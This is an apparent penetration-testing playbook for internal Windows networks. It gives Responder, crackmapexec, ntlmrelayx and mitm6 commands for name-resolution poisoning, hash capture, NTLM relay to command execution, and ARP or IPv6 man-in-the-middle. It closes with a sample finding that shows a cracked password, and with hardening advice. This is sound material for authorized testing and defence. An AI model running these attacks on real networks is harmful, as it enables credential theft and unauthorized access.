Methodology for internal network penetration testing from a foothold on the LAN, covering host discovery, port scanning, passive/active sniffing, MitM (ARP/DNS/ICMP/DHCPv6), and LLMNR/NBT-NS/mDNS poisoning with Responder plus relay attacks during authorized engagements.
Methodology for internal network penetration testing from a foothold on the LAN, covering host discovery, port scanning, passive/active sniffing, MitM (ARP/DNS/ICMP/DHCPv6), and LLMNR/NBT-NS/mDNS poisoning with Responder plus relay attacks during authorized engagements.
When you have a foothold (drop box, VM, or compromised host) on an internal LAN
At the start of an internal engagement to discover live hosts, open ports, and services
When capturing credentials passively via broadcast/multicast name resolution poisoning
When performing man-in-the-middle to intercept traffic on a switched segment
When relaying captured NTLM authentication to reachable hosts for lateral movement
Critical: Techniques Most Often Missed
The highest-value internal technique is poisoning LLMNR/NBT-NS/mDNS — Windows hosts fall back to these unauthenticated broadcast protocols when DNS fails, leaking NetNTLM hashes. Many testers also forget to scan broadcast addresses and to disable SMB signing checks before relaying.
# 1. Poison LLMNR / NBT-NS / mDNS to capture NetNTLMv1/v2 hashes (#1 internal win)
responder -I eth0 -wv # analyze first; then drop -A to actively poison# captured hashes land in /usr/share/responder/logs/ -> crack with hashcat -m 5600# 2. Relay instead of crack: find hosts WITHOUT SMB signing, then relay auth to them
crackmapexec smb 10.10.10.0/24 --gen-relay-list targets.txt # signing:False hosts# turn OFF Responder's SMB/HTTP servers (Responder.conf: SMB=Off, HTTP=Off) first
ntlmrelayx.py -tf targets.txt -smb2support -i # relay -> SOCKS / command exec# 3. Discover hosts on the broadcast domain you'd otherwise miss
ping -b 10.10.5.255 # subnet broadcast reaches every local host
nmap -sn <network> # ARP sweep (same L2 = reliable host discovery)
nbtscan -r 192.168.0.1/24 # NetBIOS names# 4. IPv6 is usually unmonitored — mitm6 + relay is devastating in AD
mitm6 -d domain.local # rogue DHCPv6/DNS; pair with ntlmrelayx -6
How to CONFIRM: Responder logs a hash only when a victim actually queries a name it can't resolve — trigger it (or wait) and check responder -I eth0 console plus logs/. For relay, a successful run prints [*] Authenticating against smb://<target> SUCCEED and (with -i) opens a SOCKS-able session. Validate captured NetNTLMv2 with hashcat -m 5600.
A misconfigured workstation queries a mistyped share name. Responder answers, the host authenticates, and a NetNTLMv2 hash is captured and cracked offline to a domain user password.
Scenario 2: NTLM Relay to Unsigned Host
SMB signing is not enforced on several servers. With Responder's SMB/HTTP off, ntlmrelayx relays poisoned authentication to a signing:False host, executing commands as the relayed account.
Scenario 3: mitm6 + WPAD in AD
The network is dual-stack but IPv6 is unmanaged. mitm6 becomes the DHCPv6/DNS server, serves a rogue WPAD, and feeds authentications into ntlmrelayx against LDAP to add a machine or escalate.
Scenario 4: ARP MitM Credential Sniffing
On a flat switched segment, ARP spoofing places the tester between a client and an app server; PCredz extracts cleartext and NTLM credentials from the intercepted stream.
Output Format
## Internal Network Pentest Finding
**Vulnerability**: LLMNR/NBT-NS poisoning + NTLM relay (no SMB signing)
**Severity**: High (CVSS 8.1)
**Location**: Internal VLAN 10.10.20.0/24
### Reproduction Steps
1. responder -I eth0 -wv -> captured NetNTLMv2 for CORP\jsmith
2. crackmapexec smb 10.10.20.0/24 --gen-relay-list targets.txt (signing disabled hosts)
3. Disable Responder SMB/HTTP; ntlmrelayx.py -tf targets.txt -smb2support -c 'whoami'
4. Relayed jsmith auth to 10.10.20.40 -> executed as CORP\jsmith (local admin)
### Captured / Reached
| Item | Detail |
|------|--------|
| NetNTLMv2 | CORP\jsmith (cracked: Summer2024!) |
| Relay target | 10.10.20.40 (SMB signing not required) |
| Access | Local admin command execution |
### Recommendation
1. Disable LLMNR (GPO) and NBT-NS; remove mDNS where unused
2. Enforce SMB signing (server and client) to block relay
3. Disable IPv6 if unused, or manage DHCPv6/RA to prevent mitm6
4. Enforce strong passwords/MFA; segment and monitor for ARP anomalies and rogue responders
